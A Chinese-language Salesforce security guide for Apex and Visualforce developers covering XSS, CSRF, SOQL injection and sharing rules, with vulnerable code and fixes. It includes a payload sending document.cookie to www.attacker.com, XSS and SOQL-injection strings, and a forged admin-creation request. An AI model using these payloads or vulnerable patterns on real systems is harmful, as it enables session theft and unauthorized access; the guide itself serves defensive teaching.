Apex 和 Visualforce 开发的安全性指南
所需的 Edition
| 适用于:Salesforce Classic |
适用于:Group、Professional、Enterprise、Performance、Unlimited、Developer 和 Database.com Edition Visualforce 在 Database.com 中不可用。 |
了解安全性
Apex 和 Visualforce 页面的强大组合允许 Lightning 平台开发人员向 Salesforce 提供自定义功能和业务逻辑,或者创建在 Lightning 平台内运行的新独立产品。但是和任何编程语言一样,开发人员必须认识到潜在的安全隐患。
Salesforce 在 Lightning 平台中整合了多项安全防御措施。但是粗心的开发人员仍然可能绕过内置的防御措施,然后将他们的应用程序和客户暴露在安全风险之下。开发人员在 Lightning 平台上会出现的许多编码错误类似于一般的 Web 应用程序安全漏洞,而其他错误则是 Apex 所独有的。
要认证 AppExchange 的应用程序,开发人员学习和理解所描述的安全缺陷非常重要。有关更多信息,请参见 Salesforce 开发人员上的 Lightning 平台安全资源页面。https://developer.salesforce.com/page/Security
跨站脚本 (XSS)
跨站脚本 (XSS) 攻击是指向 Web 应用程序提供恶意 HTML 或客户端脚本。
Web 应用程序包含恶意脚本,以响应无意中成为攻击受害者的用户。攻击者利用受害者对 Web 应用程序的信任,将 Web 应用程序作为攻击的中介。大部分显示动态网页而没有适当地验证数据的应用程序都可能受到攻击。如果一个用户的输入是要显示给另一个用户的,那么对网站的攻击就特别容易。一些明显的可能性包括公告板或用户评论类型的网站、新闻或电子邮件归档文件。
例如,假设此脚本包含在 Lightning 平台页面中,使用脚本组件、on*事件或 Visualforce 页面。
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>此脚本块会将用户提供的userparam的值插入页面。然后,攻击者可以输入此值进行userparam。
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2在这种情况下,当前页面的所有 Cookie 都作为请求cookie.cgi脚本中的查询字符串发送到 www.attacker.com。这样,攻击者就拥有了受害者的会话 Cookie,可以连接到 Web 应用程序,就如同他们是受害者一样。
攻击者可以使用网站或电子邮件发布恶意脚本。Web 应用程序用户不仅能够看到攻击者的输入,他们的浏览器还可以在信任的上下文中执行攻击者的脚本。有了这种能力,攻击者就可以对受害者执行各种攻击。这些攻击小到简单的操作(如打开和关闭窗口),大到更加恶意的攻击(如盗取数据或会话 Cookie),使攻击者能够完全访问受害者的会话。
有关此攻击类型的更多信息:
- http://www.owasp.org/index.php/Cross_Site_Scripting
- http://www.cgisecurity.com/xss-faq.html
- http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
- http://www.google.com/search?q=cross-site+scripting
在 Lightning 平台内,有几个反 XSS 的防御系统。例如,Salesforce 的筛选器可以在大多数输出方法中过滤掉有害字符。对于使用标准类和输出方法的开发人员来说,这将极大减轻 XSS 缺陷的威胁。但是有创造力的开发人员仍然可以找到有意或无意绕过默认控件的方法。
现有保护
从<apex>开始的所有标准 Visualforce 组件都有反 XSS 筛选器来筛选出有害字符。例如,此代码通常易受 XSS 攻击,因为它接受用户提供的输入并将其直接输出回用户,但 <apex:outputText> 标记是 XSS 安全的。所有看起来是 HTML 标记的字符都被转换为它们的文字格式。例如,将 < 字符转换为 <,以便在用户屏幕上显示文字 <。
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>未进行 XSS 攻击防护的编程项目
自定义 Javascript 代码和<apex:includeScript>组件中的代码没有内置的 XSS 保护。这些项目允许开发人员使用脚本命令自定义页面。在有意添加到页面的命令中包含反 XSS 筛选器没有意义。
自定义 JavaScript
如果您编写自己的 JavaScript,Lightning 平台将无法保护您。例如,如果在 JavaScript 中使用,该代码容易受到 XSS 攻击。
<script>
var foo = location.search;
document.write(foo);
</script><apex:includeScript>
通过<apex:includeScript> Visualforce组件,您可以在页面上包含自定义脚本。请确保验证内容安全,并且不包含用户提供的数据。例如,此代码片段易受攻击,因为它包含用户提供的输入作为脚本文本的值。此标记提供的值是转到将要包括在内的 JavaScript 的 URL。如果攻击者能够向该参数提供任意数据(如示例所示),他们就能够引导受害者包含来自任何其他网站的任何 JavaScript 文件。
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />公式标记
这些标记的一般语法是:{!FUNCTION()} 或 {!$OBJECT.ATTRIBUTE}。例如,如果开发人员希望在链接中包含用户的会话 ID,他们可以使用该语法创建链接。
<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>它呈现出这样的输出。
<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>公式表达式可以是函数调用,也可以包含有关平台对象、用户环境、系统环境和请求环境的信息。这些表达式的一个重要特性是在渲染过程中不会对数据进行转义。因为表达式是在服务器上呈现的,所以不可能使用 JavaScript 或其他客户端技术在客户端对呈现的数据进行转义。如果公式表达式引用了不友好的或可编辑的非系统数据,并且表达式没有包装在函数中以在渲染过程中对输出进行转义,这可能会很危险。使用 {!$Request.*} 表达式访问请求参数会创建常见漏洞。
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>不幸的是,未转义的 {!$Request.title} 标记也会导致跨站点脚本漏洞。例如,请求:
https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E导致输出:
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>进行服务器端转义的标准机制是通过使用 SUBSTITUTE() 公式标记。考虑到示例中 {!$Request.*} 表达式的位置,可以使用这些嵌套的 SUBSTITUTE() 调用来防止所描述的攻击。
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>根据标签的位置和数据的用途,需要转义的字符及其对应的转义字符会有所不同。例如,该语句:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>要求双引号字符用其 URL 编码的等效 %22 进行转义,而不是 HTML 转义 ",因为它可能会在链接中使用。否则,此请求:
https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F将导致:
<script>var ret = "foo";alert('xss');//";</script>如果ret变量的使用方式会导致解释包含的 HTML 控制字符,则有时需要在页面的后面使用额外的客户端转义。
也可以使用公式标记来包括平台对象数据。尽管数据直接取自用户的组织,但在使用之前仍必须对其进行转义,以防止用户在其他用户(例如具有较高特权级别的用户)的上下文中执行代码。只有同一组织内的用户才能执行这些类型的攻击。这些攻击破坏了用户角色,降低了审计记录的完整性。数据可以从外部来源导入,并且不会被筛选出恶意内容。
跨站请求伪造 (CSRF)
跨站请求伪造 (CSRF) 缺陷与其说是编程错误,不如说是缺乏防御。
例如,攻击者在 www.attacker.com 有一个网页,可以是任何网页,包括提供有价值的服务或信息,推动该站点的流量。在攻击者网页的某个地方是一个看起来如下方所示的 HTML 标记:
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />换句话说,攻击者的网页包括在您的网站上执行操作的 URL。如果用户在访问此攻击者网页时还登录到您的网页,则此 URL 将被检索并执行操作。此次攻击成功的原因在于用户仍然接受您网页的身份验证。这是一个简单的例子,攻击者可以更有创意地使用脚本来生成回调请求,甚至对您的 AJAX 方法使用 CSRF 攻击。
有关详细信息和传统的防御方法:
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery
- http://www.cgisecurity.com/csrf-faq.html
- http://shiflett.org/articles/cross-site-request-forgeries
在 Lightning 平台中,Salesforce 实施了反 CSRF 令牌来防止此类攻击。每个网页包括随机字符串作为隐藏的表单字段。在下一次页面加载时,应用程序会检查该字符串的有效性,并且不执行命令,除非该值与预期值匹配。此功能将在使用所有的标准控制器和方法时为您提供保护。
同样,开发人员可以绕过内置防御,而不会意识到风险。例如,自定义控制器将对象 ID 作为输入参数,然后在 SOQL 调用中使用该输入参数。
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
开发人员通过开发自己的操作方法,不知不觉地绕过了反 CSRF 控制。在代码中读取并使用 id 参数。anti-CSRF 标记永远不会被读取或验证。通过使用 CSRF 攻击并为 id 参数提供任何值,攻击网页可以将用户发送到此页面。
对于这种情况没有内置的防御措施,开发人员必须谨慎编写基于用户提供的参数(例如上例中的 id 变量)的页面。一个可能的解决方法是在采取操作之前插入中间确认页面,以确保用户打算调用该页面。其他建议包括缩短空闲会话超时时间,教育用户注销其活动会话,并且在通过身份验证时不要使用浏览器访问其他站点。
由于 Salesforce 内置对 CSRF 的防御,当多个 Salesforce 登录页面打开时,您的用户可能会遇到错误。如果用户在一个选项卡中登录 Salesforce,然后尝试在另一个选项卡上登录,他们会看到以下错误:您提交的页面对您的会话无效。用户可以通过刷新登录页面或尝试再次登录来成功登录。
SOQL 注入
在其他编程语言中,上述缺陷被称为 SQL 注入。
Apex 不使用 SQL,而是使用自己的数据库查询语言 SOQL。与 SQL 相比,SOQL 更加简单,功能更加有限。SOQL 注入的风险比 SQL 注入低得多,但攻击几乎与传统的 SQL 注入相同。SQL/SOQL 注入接受用户提供的输入,并在动态 SOQL 查询中使用这些值。如果输入未经验证,它可能包含 SOQL 命令,这些命令会有效地修改 SOQL 语句,并欺骗应用程序执行非预期的命令。
Apex 中的 SOQL 注入漏洞
这里有一个 Apex 和 Visualforce 代码易受 SOQL 注入攻击的简单示例。
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
List<Contact> queryResult = Database.query(qryString);
System.debug('query result is ' + queryResult);
return null;
}
}
这个简单的示例说明了其中的逻辑。该代码旨在搜索未删除的联系人。用户提供一个名为 name 的输入值。该值可以是用户提供的任何值,并且永远不会被验证。SOQL 查询是动态构建的,然后使用 Database.query 方法执行。如果用户提供了合法的值,该语句将按预期执行。
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')但是如果用户提供了意外的输入,例如:
// User supplied value for name: test%') OR (Name LIKE '在这种情况下,查询字符串将变成:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')现在,结果显示所有联系人,而不仅仅是未删除的联系人。SOQL 注入缺陷可以用来修改任何易受攻击查询的预期逻辑。
SOQL 注入防御
要防止 SOQL 注入攻击,避免使用动态 SOQL 查询,而使用静态查询和绑定变量。上面这个易受攻击的例子可以用静态 SOQL 重写。
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
List<Contact> queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
System.debug('query result is ' + queryResult);
return null;
}
}如果您必须使用动态 SOQL,请使用 escapeSingleQuotes 方法对用户提供的输入进行消毒。此方法在用户提供的字符串中的所有单引号上添加转义符 (\)。此方法确保了所有单引号都被当作封闭字符串而不是数据库命令来处理。
数据访问权限控制
Lightning 平台平台大量使用数据共享规则。每个对象都有权限,并且可以拥有用户可以读取、创建、编辑和删除的共享设置。这些设置在使用所有标准控制器时被强制执行。
当使用 Apex 类时,内置用户权限和字段级安全限制在执行期间不受重视。默认行为是 Apex 类能够读取和更新所有数据。由于这些规则并未强制实施,使用 Apex 的开发人员必须避免无意中暴露通常通过用户权限、字段级安全性或默认值对用户隐藏的敏感数据。例如,考虑以下 Apex 伪代码。
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}
在这种情况下,将搜索所有的联系人记录,即使当前登录的用户没有查看这些记录的权限。解决方案是在声明类时使用限定关键字 with sharing:
public with sharing class customController {
. . .
}
with sharing 关键字指示平台使用当前登录用户的安全共享权限,而不是授予对所有记录的完整访问权限。

